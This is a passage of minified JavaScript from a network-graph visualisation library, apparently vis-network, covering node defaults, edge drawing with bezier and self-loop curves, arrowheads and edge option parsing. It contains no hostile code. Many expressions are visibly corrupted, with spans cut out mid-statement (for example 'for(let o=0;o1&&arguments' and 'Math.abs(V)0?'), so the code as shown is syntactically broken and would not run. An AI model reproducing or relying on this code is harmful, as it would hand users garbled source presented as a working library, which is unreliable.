h=1/(a-s);return Math.max(0,(u-s)*h)}}},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:10,x:5,y:5},shape:"ellipse",shapeProperties:{borderDashes:!1,borderRadius:6,interpolation:!0,useImageSize:!1,useBorderWithImage:!1,coordinateOrigin:"center"},size:25,title:void 0,value:void 0,x:void 0,y:void 0},this.defaultOptions.mass<=0)throw"Internal error: mass in defaultOptions of NodesHandler may not be zero or negative";this.options=gn(this.defaultOptions),this.bindEventListeners()}bindEventListeners(){var e,t;this.body.emitter.on("refreshNodes",X(e=this.refresh).call(e,this)),this.body.emitter.on("refresh",X(t=this.refresh).call(t,this)),this.body.emitter.on("destroy",()=>{we(this.nodesListeners,(i,C)=>{this.body.data.nodes&&this.body.data.nodes.off(C,i)}),delete this.body.functions.createNode,delete this.nodesListeners.add,delete this.nodesListeners.update,delete this.nodesListeners.remove,delete this.nodesListeners})}setOptions(e){if(e!==void 0){if(it.parseOptions(this.options,e),e.opacity!==void 0&&(gu(e.opacity)||!eA(e.opacity)||e.opacity<0||e.opacity>1?console.error("Invalid option for node opacity. Value must be between 0 and 1, found: "+e.opacity):this.options.opacity=e.opacity),e.shape!==void 0)for(const t in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,t)&&this.body.nodes[t].updateShape();if(typeof e.font<"u"||typeof e.widthConstraint<"u"||typeof e.heightConstraint<"u")for(const t of $e(this.body.nodes))this.body.nodes[t].updateLabelModule(),this.body.nodes[t].needsRefresh();if(e.size!==void 0)for(const t in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,t)&&this.body.nodes[t].needsRefresh();(e.hidden!==void 0||e.physics!==void 0)&&this.body.emitter.emit("_dataChanged")}}setData(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.data.nodes;if(j0("id",e))this.body.data.nodes=e;else if(Re(e))this.body.data.nodes=new AC,this.body.data.nodes.add(e);else if(!e)this.body.data.nodes=new AC;else throw new TypeError("Array or DataSet expected");if(i&&we(this.nodesListeners,function(C,o){i.off(o,C)}),this.body.nodes={},this.body.data.nodes){const C=this;we(this.nodesListeners,function(s,a){C.body.data.nodes.on(a,s)});const o=this.body.data.nodes.getIds();this.add(o,!0)}t===!1&&this.body.emitter.emit("_dataChanged")}add(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,i;const C=[];for(let o=0;o1&&arguments[1]!==void 0?arguments[1]:it;return new t(e,this.body,this.images,this.groups,this.options,this.defaultOptions)}refresh(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1;we(this.body.nodes,(t,i)=>{const C=this.body.data.nodes.get(i);C!==void 0&&(e===!0&&t.setOptions({x:null,y:null}),t.setOptions({fixed:!1}),t.setOptions(C))})}getPositions(e){const t={};if(e!==void 0){if(Re(e)===!0){for(let i=0;i{this.body.emitter.emit("startSimulation")},0)):console.error("Node id supplied to moveNode does not exist. Provided: ",e)}}var CK=ue,q0=Math.hypot,IK=Math.abs,oK=Math.sqrt,sK=!!q0&&q0(1/0,NaN)!==1/0;CK({target:"Math",stat:!0,forced:sK},{hypot:function(e,t){for(var i=0,C=0,o=arguments.length,s=0,a,l;C0?(l=a/s,i+=l*l):i+=a;return s===1/0?1/0:s*oK(i)}});var rK=Le,aK=rK.Math.hypot,lK=aK,cK=lK,uK=cK,dK=re(uK);class ft{static transform(e,t){Re(e)||(e=[e]);const i=t.point.x,C=t.point.y,o=t.angle,s=t.length;for(let a=0;a4&&arguments[4]!==void 0?arguments[4]:this.getViaNode();e.strokeStyle=this.getColor(e,t),e.lineWidth=t.width,t.dashes!==!1?this._drawDashedLine(e,t,o):this._drawLine(e,t,o)}_drawLine(e,t,i,C,o){if(this.from!=this.to)this._line(e,t,i,C,o);else{const[s,a,l]=this._getCircleData(e);this._circle(e,t,s,a,l)}}_drawDashedLine(e,t,i,C,o){e.lineCap="round";const s=Re(t.dashes)?t.dashes:[5,5];if(e.setLineDash!==void 0){if(e.save(),e.setLineDash(s),e.lineDashOffset=0,this.from!=this.to)this._line(e,t,i);else{const[a,l,u]=this._getCircleData(e);this._circle(e,t,a,l,u)}e.setLineDash([0]),e.lineDashOffset=0,e.restore()}else{if(this.from!=this.to)dm(e,this.from.x,this.from.y,this.to.x,this.to.y,s);else{const[a,l,u]=this._getCircleData(e);this._circle(e,t,a,l,u)}this.enableShadow(e,t),e.stroke(),this.disableShadow(e,t)}}findBorderPosition(e,t,i){return this.from!=this.to?this._findBorderPosition(e,t,i):this._findBorderPositionCircle(e,t,i)}findBorderPositions(e){if(this.from!=this.to)return{from:this._findBorderPosition(this.from,e),to:this._findBorderPosition(this.to,e)};{var t;const[i,C]=Qg(t=this._getCircleData(e)).call(t,0,2);return{from:this._findBorderPositionCircle(this.from,e,{x:i,y:C,low:.25,high:.6,direction:-1}),to:this._findBorderPositionCircle(this.from,e,{x:i,y:C,low:.6,high:.8,direction:1})}}}_getCircleData(e){const t=this.options.selfReference.size;e!==void 0&&this.from.shape.width===void 0&&this.from.shape.resize(e);const i=U0(e,this.options.selfReference.angle,t,this.from);return[i.x,i.y,t]}_pointOnCircle(e,t,i,C){const o=C*2*Math.PI;return{x:e+i*Math.cos(o),y:t-i*Math.sin(o)}}_findBorderPositionCircle(e,t,i){const C=i.x,o=i.y;let s=i.low,a=i.high;const l=i.direction,u=10,h=this.options.selfReference.size,p=.05;let m,v=(s+a)*.5,w=0;this.options.arrowStrikethrough===!0&&(l===-1?w=this.options.endPointOffset.from:l===1&&(w=this.options.endPointOffset.to));let N=0;do{v=(s+a)*.5,m=this._pointOnCircle(C,o,h,v);const x=Math.atan2(e.y-m.y,e.x-m.x),D=e.distanceToBorder(t,x)+w,k=Math.sqrt(Math.pow(m.x-e.x,2)+Math.pow(m.y-e.y,2)),V=D-k;if(Math.abs(V)0?l>0?s=v:a=v:l>0?a=v:s=v,++N}while(s<=a&&N1?h=1:h<0&&(h=0);const p=e+h*a,m=t+h*l,v=p-o,w=m-s;return Math.sqrt(v*v+w*w)}getArrowData(e,t,i,C,o,s){let a,l,u,h,p,m,v;const w=s.width;t==="from"?(u=this.from,h=this.to,p=s.fromArrowScale<0,m=Math.abs(s.fromArrowScale),v=s.fromArrowType):t==="to"?(u=this.to,h=this.from,p=s.toArrowScale<0,m=Math.abs(s.toArrowScale),v=s.toArrowType):(u=this.to,h=this.from,p=s.middleArrowScale<0,m=Math.abs(s.middleArrowScale),v=s.middleArrowType);const N=15*m+3*w;if(u!=h){const V=dK(u.x-h.x,u.y-h.y),L=N/V;if(t!=="middle")if(this.options.smooth.enabled===!0){const Q=this._findBorderPosition(u,e,{via:i}),ne=this.getPoint(Q.t+L*(t==="from"?1:-1),i);a=Math.atan2(Q.y-ne.y,Q.x-ne.x),l=Q}else a=Math.atan2(u.y-h.y,u.x-h.x),l=this._findBorderPosition(u,e);else{const Q=(p?-L:L)/2,ne=this.getPoint(.5+Q,i),J=this.getPoint(.5-Q,i);a=Math.atan2(ne.y-J.y,ne.x-J.x),l=this.getPoint(.5,i)}}else{const[V,L,Q]=this._getCircleData(e);if(t==="from"){const ne=this.options.selfReference.angle,J=this.options.selfReference.angle+Math.PI,le=this._findBorderPositionCircle(this.from,e,{x:V,y:L,low:ne,high:J,direction:-1});a=le.t*-2*Math.PI+1.5*Math.PI+.1*Math.PI,l=le}else if(t==="to"){const ne=this.options.selfReference.angle,J=this.options.selfReference.angle+Math.PI,le=this._findBorderPositionCircle(this.from,e,{x:V,y:L,low:ne,high:J,direction:1});a=le.t*-2*Math.PI+1.5*Math.PI-1.1*Math.PI,l=le}else{const ne=this.options.selfReference.angle/(2*Math.PI);l=this._pointOnCircle(V,L,Q,ne),a=ne*-2*Math.PI+1.5*Math.PI+.1*Math.PI}}const x=l.x-N*.9*Math.cos(a),D=l.y-N*.9*Math.sin(a);return{point:l,core:{x,y:D},angle:a,length:N,type:v}}drawArrowHead(e,t,i,C,o){e.strokeStyle=this.getColor(e,t),e.fillStyle=e.strokeStyle,e.lineWidth=t.width,J0.draw(e,o)&&(this.enableShadow(e,t),OI(e).call(e),this.disableShadow(e,t))}enableShadow(e,t){t.shadow===!0&&(e.shadowColor=t.shadowColor,e.shadowBlur=t.shadowSize,e.shadowOffsetX=t.shadowX,e.shadowOffsetY=t.shadowY)}disableShadow(e,t){t.shadow===!0&&(e.shadowColor="rgba(0,0,0,0)",e.shadowBlur=0,e.shadowOffsetX=0,e.shadowOffsetY=0)}drawBackground(e,t){if(t.background!==!1){const i={strokeStyle:e.strokeStyle,lineWidth:e.lineWidth,dashes:e.dashes};e.strokeStyle=t.backgroundColor,e.lineWidth=t.backgroundSize,this.setStrokeDashed(e,t.backgroundDashes),e.stroke(),e.strokeStyle=i.strokeStyle,e.lineWidth=i.lineWidth,e.dashes=i.dashes,this.setStrokeDashed(e,t.dashes)}}setStrokeDashed(e,t){if(t!==!1)if(e.setLineDash!==void 0){const i=Re(t)?t:[5,5];e.setLineDash(i)}else console.warn("setLineDash is not supported in this browser. The dashed stroke cannot be used.");else e.setLineDash!==void 0?e.setLineDash([]):console.warn("setLineDash is not supported in this browser. The dashed stroke cannot be used.")}}function gw(n,e){var t=$e(n);if(si){var i=si(n);e&&(i=Et(i).call(i,function(C){return ri(n,C).enumerable})),t.push.apply(t,i)}return t}function iw(n){for(var e=1;e2&&arguments[2]!==void 0?arguments[2]:this._getViaCoordinates();const C=10,o=.2;let s=!1,a=1,l=0,u=this.to,h,p,m=this.options.endPointOffset?this.options.endPointOffset.to:0;e.id===this.from.id&&(u=this.from,s=!0,m=this.options.endPointOffset?this.options.endPointOffset.from:0),this.options.arrowStrikethrough===!1&&(m=0);let v=0;do{p=(l+a)*.5,h=this.getPoint(p,i);const w=Math.atan2(u.y-h.y,u.x-h.x),N=u.distanceToBorder(t,w)+m,x=Math.sqrt(Math.pow(h.x-u.x,2)+Math.pow(h.y-u.y,2)),D=N-x;if(Math.abs(D)0&&(u=this._getDistanceToLine(w,N,m,v,o,s),l=u{this.positionBezierNode()},this._body.emitter.on("_repositionBezierNodes",this._boundFunction)}setOptions(e){super.setOptions(e);let t=!1;this.options.physics!==e.physics&&(t=!0),this.options=e,this.id=this.options.id,this.from=this._body.nodes[this.options.from],this.to=this._body.nodes[this.options.to],this.setupSupportNode(),this.connect(),t===!0&&(this.via.setOptions({physics:this.options.physics}),this.positionBezierNode())}connect(){this.from=this._body.nodes[this.options.from],this.to=this._body.nodes[this.options.to],this.from===void 0||this.to===void 0||this.options.physics===!1?this.via.setOptions({physics:!1}):this.from.id===this.to.id?this.via.setOptions({physics:!1}):this.via.setOptions({physics:!0})}cleanup(){return this._body.emitter.off("_repositionBezierNodes",this._boundFunction),this.via!==void 0?(delete this._body.nodes[this.via.id],this.via=void 0,!0):!1}setupSupportNode(){if(this.via===void 0){const e="edgeId:"+this.id,t=this._body.functions.createNode({id:e,shape:"circle",physics:!0,hidden:!0});this._body.nodes[e]=t,this.via=t,this.via.parentEdgeId=this.id,this.positionBezierNode()}}positionBezierNode(){this.via!==void 0&&this.from!==void 0&&this.to!==void 0?(this.via.x=.5*(this.from.x+this.to.x),this.via.y=.5*(this.from.y+this.to.y)):this.via!==void 0&&(this.via.x=0,this.via.y=0)}_line(e,t,i){this._bezierCurve(e,t,i)}_getViaCoordinates(){return this.via}getViaNode(){return this.via}getPoint(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this.via;if(this.from===this.to){const[i,C,o]=this._getCircleData(),s=2*Math.PI*(1-e);return{x:i+o*Math.sin(s),y:C+o-o*(1-Math.cos(s))}}else return{x:Math.pow(1-e,2)*this.fromPoint.x+2*e*(1-e)*t.x+Math.pow(e,2)*this.toPoint.x,y:Math.pow(1-e,2)*this.fromPoint.y+2*e*(1-e)*t.y+Math.pow(e,2)*this.toPoint.y}}_findBorderPosition(e,t){return this._findBorderPositionBezier(e,t,this.via)}_getDistanceToEdge(e,t,i,C,o,s){return this._getDistanceToBezierEdge(e,t,i,C,o,s,this.via)}}class Aw extends mu{constructor(e,t,i){super(e,t,i)}_line(e,t,i){this._bezierCurve(e,t,i)}getViaNode(){return this._getViaCoordinates()}_getViaCoordinates(){const e=this.options.smooth.roundness,t=this.options.smooth.type;let i=Math.abs(this.from.x-this.to.x),C=Math.abs(this.from.y-this.to.y);if(t==="discrete"||t==="diagonalCross"){let o,s;i<=C?o=s=e*C:o=s=e*i,this.from.x>this.to.x&&(o=-o),this.from.y>=this.to.y&&(s=-s);let a=this.from.x+o,l=this.from.y+s;return t==="discrete"&&(i<=C?a=ithis.to.x&&(o=-o),this.from.y>=this.to.y&&(s=-s);let a=this.from.x+o,l=this.from.y+s;return i<=C?this.from.x<=this.to.x?a=this.to.xa?this.to.x:a:this.from.y>=this.to.y?l=this.to.y>l?this.to.y:l:l=this.to.y2&&arguments[2]!==void 0?arguments[2]:{};return this._findBorderPositionBezier(e,t,i.via)}_getDistanceToEdge(e,t,i,C,o,s){let a=arguments.length>6&&arguments[6]!==void 0?arguments[6]:this._getViaCoordinates();return this._getDistanceToBezierEdge(e,t,i,C,o,s,a)}getPoint(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this._getViaCoordinates();const i=e,C=Math.pow(1-i,2)*this.fromPoint.x+2*i*(1-i)*t.x+Math.pow(i,2)*this.toPoint.x,o=Math.pow(1-i,2)*this.fromPoint.y+2*i*(1-i)*t.y+Math.pow(i,2)*this.toPoint.y;return{x:C,y:o}}}class xK extends mu{constructor(e,t,i){super(e,t,i)}_getDistanceToBezierEdge2(e,t,i,C,o,s,a,l){let u=1e9,h=e,p=t;const m=[0,0,0,0];for(let v=1;v<10;v++){const w=.1*v;m[0]=Math.pow(1-w,3),m[1]=3*w*Math.pow(1-w,2),m[2]=3*Math.pow(w,2)*(1-w),m[3]=Math.pow(w,3);const N=m[0]*e+m[1]*a.x+m[2]*l.x+m[3]*i,x=m[0]*t+m[1]*a.y+m[2]*l.y+m[3]*C;if(v>0){const D=this._getDistanceToLine(h,p,N,x,o,s);u=DMath.abs(t)||this.options.smooth.forceDirection===!0||this.options.smooth.forceDirection==="horizontal")&&this.options.smooth.forceDirection!=="vertical"?(C=this.from.y,s=this.to.y,i=this.from.x-a*e,o=this.to.x+a*e):(C=this.from.y-a*t,s=this.to.y+a*t,i=this.from.x,o=this.to.x),[{x:i,y:C},{x:o,y:s}]}getViaNode(){return this._getViaCoordinates()}_findBorderPosition(e,t){return this._findBorderPositionBezier(e,t)}_getDistanceToEdge(e,t,i,C,o,s){let[a,l]=arguments.length>6&&arguments[6]!==void 0?arguments[6]:this._getViaCoordinates();return this._getDistanceToBezierEdge2(e,t,i,C,o,s,a,l)}getPoint(e){let[t,i]=arguments.length>1&&arguments[1]!==void 0?arguments[1]:this._getViaCoordinates();const C=e,o=[Math.pow(1-C,3),3*C*Math.pow(1-C,2),3*Math.pow(C,2)*(1-C),Math.pow(C,3)],s=o[0]*this.fromPoint.x+o[1]*t.x+o[2]*i.x+o[3]*this.toPoint.x,a=o[0]*this.fromPoint.y+o[1]*t.y+o[2]*i.y+o[3]*this.toPoint.y;return{x:s,y:a}}}class Iw extends tw{constructor(e,t,i){super(e,t,i)}_line(e,t){e.beginPath(),e.moveTo(this.fromPoint.x,this.fromPoint.y),e.lineTo(this.toPoint.x,this.toPoint.y),this.enableShadow(e,t),e.stroke(),this.disableShadow(e,t)}getViaNode(){}getPoint(e){return{x:(1-e)*this.fromPoint.x+e*this.toPoint.x,y:(1-e)*this.fromPoint.y+e*this.toPoint.y}}_findBorderPosition(e,t){let i=this.to,C=this.from;e.id===this.from.id&&(i=this.from,C=this.to);const o=Math.atan2(i.y-C.y,i.x-C.x),s=i.x-C.x,a=i.y-C.y,l=Math.sqrt(s*s+a*a),u=e.distanceToBorder(t,o),h=(l-u)/l;return{x:(1-h)*C.x+h*i.x,y:(1-h)*C.y+h*i.y,t:0}}_getDistanceToEdge(e,t,i,C,o,s){return this._getDistanceToLine(e,t,i,C,o,s)}}class sn{constructor(e,t,i,C,o){if(t===void 0)throw new Error("No body provided");this.options=gn(C),this.globalOptions=C,this.defaultOptions=o,this.body=t,this.imagelist=i,this.id=void 0,this.fromId=void 0,this.toId=void 0,this.selected=!1,this.hover=!1,this.labelDirty=!0,this.baseWidth=this.options.width,this.baseFontSize=this.options.font.size,this.from=void 0,this.to=void 0,this.edgeType=void 0,this.connected=!1,this.labelModule=new CC(this.body,this.options,!0),this.setOptions(e)}setOptions(e){if(!e)return;let t=typeof e.physics<"u"&&this.options.physics!==e.physics||typeof e.hidden<"u"&&(this.options.hidden||!1)!==(e.hidden||!1)||typeof e.from<"u"&&this.options.from!==e.from||typeof e.to<"u"&&this.options.to!==e.to;sn.parseOptions(this.options,e,!0,this.globalOptions),e.id!==void 0&&(this.id=e.id),e.from!==void 0&&(this.fromId=e.from),e.to!==void 0&&(this.toId=e.to),e.title!==void 0&&(this.title=e.title),e.value!==void 0&&(e.value=Y0(e.value));const i=[e,this.options,this.defaultOptions];return this.chooser=hu("edge",i),this.updateLabelModule(e),t=this.updateEdgeType()||t,this._setInteractionWidths(),this.connect(),t}static parseOptions(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!1;if(JA(["endPointOffset","arrowStrikethrough","id","from","hidden","hoverWidth","labelHighlightBold","length","line","opacity","physics","scaling","selectionWidth","selfReferenceSize","selfReference","to","title","value","width","font","chosen","widthConstraint"],e,t,i),t.endPointOffset!==void 0&&t.endPointOffset.from!==void 0&&(eA(t.endPointOffset.from)?e.endPointOffset.from=t.endPointOffset.from:(e.endPointOffset.from=C.endPointOffset.from!==void 0?C.endPointOffset.from:0,console.error("endPointOffset.from is not a valid number"))),t.endPointOffset!==void 0&&t.endPointOffset.to!==void 0&&(eA(t.endPointOffset.to)?e.endPointOffset.to=t.endPointOffset.to:(e.endPointOffset.to=C.endPointOffset.to!==void 0?C.endPointOffset.to:0,console.error("endPointOffset.to is not a valid number"))),Cr(t.label)?e.label=t.label:Cr(e.label)||(e.label=void 0),Dg(e,t,"smooth",C),Dg(e,t,"shadow",C),Dg(e,t,"background",C),t.dashes!==void 0&&t.dashes!==null?e.dashes=t.dashes:i===!0&&t.dashes===null&&(e.dashes=$i(C.dashes)),t.scaling!==void 0&&t.scaling!==null?(t.scaling.min!==void 0&&(e.scaling.min=t.scaling.min),t.scaling.max!==void 0&&(e.scaling.max=t.scaling.max),Dg(e.scaling,t.scaling,"label",C.scaling)):i===!0&&t.scaling===null&&(e.scaling=$i(C.scaling)),t.arrows!==void 0&&t.arrows!==null)if(typeof t.arrows=="string"){const a=t.arrows.toLowerCase();e.arrows.to.enabled=Ge(a).call(a,"to")!=-1,e.arrows.middle.enabled=Ge(a).call(a,"middle")!=-1,e.arrows.from.enabled=Ge(a).call(a,"from")!=-1}else if(typeof t.arrows=="object")Dg(e.arrows,t.arrows,"to",C.arrows),Dg(e.arrows,t.arrows,"middle",C.arrows),Dg(e.arrows,t.arrows,"from",C.arrows);else throw new Error("The arrow newOptions can only be an object or a string. Refer to the documentation. You used:"+YA(t.arrows));else i===!0&&t.arrows===null&&(e.arrows=$i(C.arrows));if(t.color!==void 0&&t.color!==null){const a=qA(t.color)?{color:t.color,highlight:t.color,hover:t.color,inherit:!1,opacity:1}:t.color,l=e.color;if(o)We(l,C.color,!1,i);else for(const u in l)Object.prototype.hasOwnProperty.call(l,u)&&delete l[u];if(qA(l))l.color=l,l.highlight=l,l.hover=l,l.inherit=!1,a.opacity===void 0&&(l.opacity=1);else{let u=!1;a.color!==void 0&&(l.color=a.color,u=!0),a.highlight!==void 0&&(l.highlight=a.highlight,u=!0),a.hover!==void 0&&(l.hover=a.hover,u=!0),a.inherit!==void 0&&(l.inherit=a.inherit),a.opacity!==void 0&&(l.opacity=Math.min(1,Math.max(0,a.opacity))),u===!0?l.inherit=!1:l.inherit===void 0&&(l.inherit="from")}}else i===!0&&t.color===null&&(e.color=gn(C.color));i===!0&&t.font===null&&(e.font=gn(C.font)),Object.prototype.hasOwnProperty.call(t,"selfReferenceSize")&&(console.warn("The selfReferenceSize property has been deprecated. Please use selfReference property instead. The selfReference can be set like thise selfReference:{size:30, angle:Math.PI / 4}"),e.selfReference.size=t.selfReferenceSize)}getFormattingValues(){const e=this.options.arrows.to===!0||this.options.arrows.to.enabled===!0,t=this.options.arrows.from===!0||this.options.arrows.from.enabled===!0,i=this.options.arrows.middle===!0||this.options.arrows.middle.enabled===!0,C=this.options.color.inherit,o={toArrow:e,toArrowScale:this.options.arrows.to.scaleFactor,toArrowType:this.options.arrows.to.type,toArrowSrc:this.options.arrows.to.src,toArrowImageWidth:this.options.arrows.to.imageWidth,toArrowImageHeight:this.options.arrows.to.imageHeight,middleArrow:i,middleArrowScale:this.options.arrows.middle.scaleFactor,middleArrowType:this.options.arrows.middle.type,middleArrowSrc:this.options.arrows.middle.src,middleArrowImageWidth:this.options.arrows.middle.imageWidth,middleArrowImageHeight:this.options.arrows.middle.imageHeight,fromArrow:t,fromArrowScale:this.options.arrows.from.scaleFactor,fromArrowType:this.options.arrows.from.type,fromArrowSrc:this.options.arrows.from.src,fromArrowImageWidth:this.options.arrows.from.imageWidth,fromArrowImageHeight:this.options.arrows.from.imageHeight,arrowStrikethrough:this.options.arrowStrikethrough,color:C?void 0:this.options.color.color,inheritsColor:C,opacity:this.options.color.opacity,hidden:this.options.hidden,length:this.options.length,shadow:this.options.shadow.enabled,shadowColor:this.options.shadow.color,shadowSize:this.options.shadow.size,shadowX:this.options.shadow.x,shadowY:this.options.shadow.y,dashes:this.options.dashes,width:this.options.width,background:this.options.background.enabled,backgroundColor:this.options.background.color,backgroundSize:this.options.background.size,backgroundDashes:this.options.background.dashes};if(this.selected||this.hover)if(this.chooser===!0){if(this.selected){const s=this.options.selectionWidth;typeof s=="function"?o.width=s(o.width):typeof s=="number"&&(o.width+=s),o.width=Math.max(o.width,.3/this.body.view.scale),o.color=this.options.color.highlight,o.shadow=this.options.shadow.enabled}else if(this.hover){const s=this.options.hoverWidth;typeof s=="function"?o.width=s(o.width):typeof s=="number"&&(o.width+=s),o.width=Math.max(o.width,.3/this.body.view.scale),o.color=this.options.color.hover,o.shadow=this.options.shadow.enabled}}else typeof this.chooser=="function"&&(this.chooser(o,this.options.id,this.selected,this.hover),o.color!==void 0&&(o.inheritsColor=!1),o.shadow===!1&&(o.shadowColor!==this.options.shadow.color||o.shadowSize!==this.options.shadow.size||o.shadowX!==this.options.shadow.x||o.shadowY!==this.options.shadow.y)&&(o.shadow=!0));else o.shadow=this.options.shadow.enabled,o.width=Math.max(o.width,.3/this.body.view.scale);return o}updateLabelModule(e){const t=[e,this.options,this.globalOptions,this.defaultOptions];this.labelModule.update(this.options,t),this.labelModule.baseSize!==void 0&&(this.baseFontSize=this.labelModule.baseSize)}updateEdgeType(){const e=this.options.smooth;let t=!1,i=!0;return this.edgeType!==void 0&&((this.edgeType instanceof nw&&e.enabled===!0&&e.type==="dynamic"||this.edgeType instanceof Cw&&e.enabled===!0&&e.type==="cubicBezier"||this.edgeType instanceof Aw&&e.enabled===!0&&e.type!=="dynamic"&&e.type!=="cubicBezier"||this.edgeType instanceof Iw&&e.type.enabled===!1)&&(i=!1),i===!0&&(t=this.cleanup())),i===!0?e.enabled===!0?e.type==="dynamic"?(t=!0,this.edgeType=new nw(this.options,this.body,this.labelModule)):e.type==="cubicBezier"?this.edgeType=new Cw(this.options,this.body,this.labelModule):this.edgeType=new Aw(this.options,this.body,this.labelModule):this.edgeType=new Iw(this.options,this.body,this.labelModule):this.edgeType.setOptions(this.options),t}connect(){this.disconnect(),this.from=this.body.nodes[this.fromId]||void 0,this.to=this.body.nodes[this.toId]||void 0,this.connected=this.from!==void 0&&this.to!==void 0,this.connected===!0?(this.from.attachEdge(this),this.to.attachEdge(this)):(this.from&&this.from.detachEdge(this),this.to&&this.to.detachEdge(this)),this.edgeType.connect()}disconnect(){this.from&&(this.from.detachEdge(this),this.from=void 0),this.to&&(this.to.detachEdge(this),this.to=void 0),this.connected=!1}getTitle(){return this.title}isSelected(){return this.selected}getValue(){return this.options.value}setValueRange(e,t,i){if(this.options.value!==void 0){const C=this.options.scaling.customScalingFunction(e,t,i,this.options.value),o=this.options.scaling.max-this.options.scaling.min;if(this.options.scaling.label.enabled===!0){const s=this.options.scaling.label.max-this.options.scaling.label.min;this.options.font.size=this.options.scaling.label.min+C*s}this.options.width=this.options.scaling.min+C*o}else this.options.width=this.baseWidth,this.options.font.size=this.baseFontSize;this._setInteractionWidths(),this.updateLabelModule()}_setInteractionWidths(){typeof this.options.hoverWidth=="function"?this.edgeType.hoverWidth=this.options.hoverWidth(this.options.width):this.edgeType.hoverWidth=this.options.hoverWidth+this.options.width,typeof this.options.selectionWidth=="function"?this.edgeType.selectionWidth=this.options.selectionWidth(this.options.width):this.edgeType.selectionWidth=this.options.selectionWidth+this.options.width}draw(e){const t=this.getFormattingValues();if(t.hidden)return;const i=this.edgeType.getViaNode();this.edgeType.drawLine(e,t,this.selected,this.hover,i),this.drawLabel(e,i)}drawArrows(e){const t=this.getFormattingValues();if(t.hidden)return;const i=this.edgeType.getViaNode(),C={};this.edgeType.fromPoint=this.edgeType.from,this.edgeType.toPoint=this.edgeType.to,t.fromArrow&&(C.from=this.edgeType.getArrowData(e,"from",i,this.selected,this.hover,t),t.arrowStrikethrough===!1&&(this.edgeType.fromPoint=C.from.core),t.fromArrowSrc&&(C.from.image=this.imagelist.load(t.fromArrowSrc)),t.fromArrowImageWidth&&(C.from.imageWidth=t.fromArrowImageWidth),t.fromArrowImageHeight&&(C.from.imageHeight=t.fromArrowImageHeight)),t.toArrow&&(C.to=this.edgeType.getArrowData(e,"to",i,this.selected,this.hover,t),t.arrowStrikethrough===!1&&(this.edgeType.toPoint=C.to.core),t.toArrowSrc&&(C.to.image=this.imagelist.load(t.toArrowSrc)),t.toArrowImageWidth&&(C.to.imageWidth=t.toArrowImageWidth),t.toArrowImageHeight&&(C.to.imageHeight=t.toArrowImageHeight)),t.middleArrow&&(C.middle=this.edgeType.getArrowData(e,"middle",i,this.selected,this.hover,t),t.middleArrowSrc&&(C.middle.image=this.imagelist.load(t.middleArrowSrc)),t.middleArrowImageWidth&&(C.middle.imageWidth=t.middleArrowImageWidth),t.middleArrowImageHeight&&(C.middle.imageHeight=t.middleArrowImageHeight)),t.fromArrow&&this.edgeType.drawArrowHead(e,t,this.selected,this.hover,C.from),t.middleArrow&&this.edgeType.drawArrowHead(e,t,this.selected,this.hover,C.middle),t.toArrow&&this.edgeType.drawArrowHead(e,t,this.selected,this.hover,C.to)}drawLabel(e,t){if(this.options.label!==void 0){const i=this.from,C=this.to;this.labelModule.differentState(this.selected,this.hover)&&this.labelModule.getTextSize(e,this.selected,this.hover);let o;if(i.id!=C.id){this.labelModule.pointToSelf=!1,o=this.edgeType.getPoint(.5,t),e.save();const s=this._getRotation(e);s.angle!=0&&(e.translate(s.x,s.y),e.rotate(s.angle)),this.labelModule.draw(e,o.x,o.y,this.selected,this.hover),e.restore()}else{this.labelModule.pointToSelf=!0;const s=U0(e,this.options.selfReference.angle,this.options.selfReference.size,i);o=this._pointOnCircle(s.x,s.y,this.options.selfReference.size,this.options.selfReference.angle),this.labelModule.draw(e,o.x,o.y,this.selected,this.hover)}}}getItemsOnPoint(e){const t=[];if(this.labelModule.visible()){const C=this._getRotation();fu(this.labelModule.getSize(),e,C)&&t.push({edgeId:this.id,labelId:0})}const i={left:e.x,top:e.y};return this.isOverlappingWith(i)&&t.push({edgeId:this.id}),t}isOverlappingWith(e){if(this.connected){const i=this.from.x,C=this.from.y,o=this.to.x,s=this.to.y,a=e.left,l=e.top;return this.edgeType.getDistanceToEdge(i,C,o,s,a,l)<10}else return!1}_getRotation(e){const t=this.edgeType.getViaNode(),i=this.edgeType.getPoint(.5,t);e!==void 0&&this.labelModule.calculateLabelSize(e,this.selected,this.hover,i.x,i.y);const C={x:i.x,y:this.labelModule.size.yLine,angle:0};if(!this.labelModule.visible()||this.options.font.align==="horizontal")return C;const o=this.from.y-this.to.y,s=this.from.x-this.to.x;let a=Math.atan2(o,s);return(a<-1&&s<0||a>0&&s<0)&&(a+=Math.PI),C.angle=a,C}_pointOnCircle(e,t,i,C){return{x:e+i*Math.cos(C),y:t-i*Math.sin(C)}}select(){this.selected=!0}unselect(){this.selected=!1}cleanup(){return this.edgeType.cleanup()}remove(){this.cleanup(),this.disconnect(),delete this.body.edges[this.id]}endPointsValid(){return this.body.nodes[this.fromId]!==void 0&&this.body.nodes[this.toId]!==void 0}}class NK{constructor(e,t,i){var C;this.body=e,this.images=t,this.groups=i,this.body.functions.createEdge=X(C=this.create).call(C,this),this.edgesListeners={add:(o,s)=>{this.add(s.items)},update:(o,s)=>{this.update(s.items)},remove:(o,s)=>{this.remove(s.items)}},this.options={},this.defaultOptions={arrows:{to:{enabled:!1,scaleFactor:1,type:"arrow"},middle:{enabled:!1,scaleFactor:1,type:"arrow"},from:{enabled:!1,scaleFactor:1,type:"arrow"}},endPointOffset:{from:0,to:0},arrowStrikethrough:!0,color:{color:"#848484",highlight:"#848484",hover:"#848484",inherit:"from",opacity:1},dashes:!1,font:{color:"#343434",size:14,face:"arial",background:"none",strokeWidth:2,strokeColor:"#ffffff",align:"horizontal",multi:!1,vadjust:0,bold:{mod:"bold"},boldital:{mod:"bold italic"},ital:{mod:"italic"},mono:{mod:"",size:15,face:"courier new",vadjust:2}},hidden:!1,hoverWidth:1.5,label:void 0,labelHighlightBold:!0,length:void 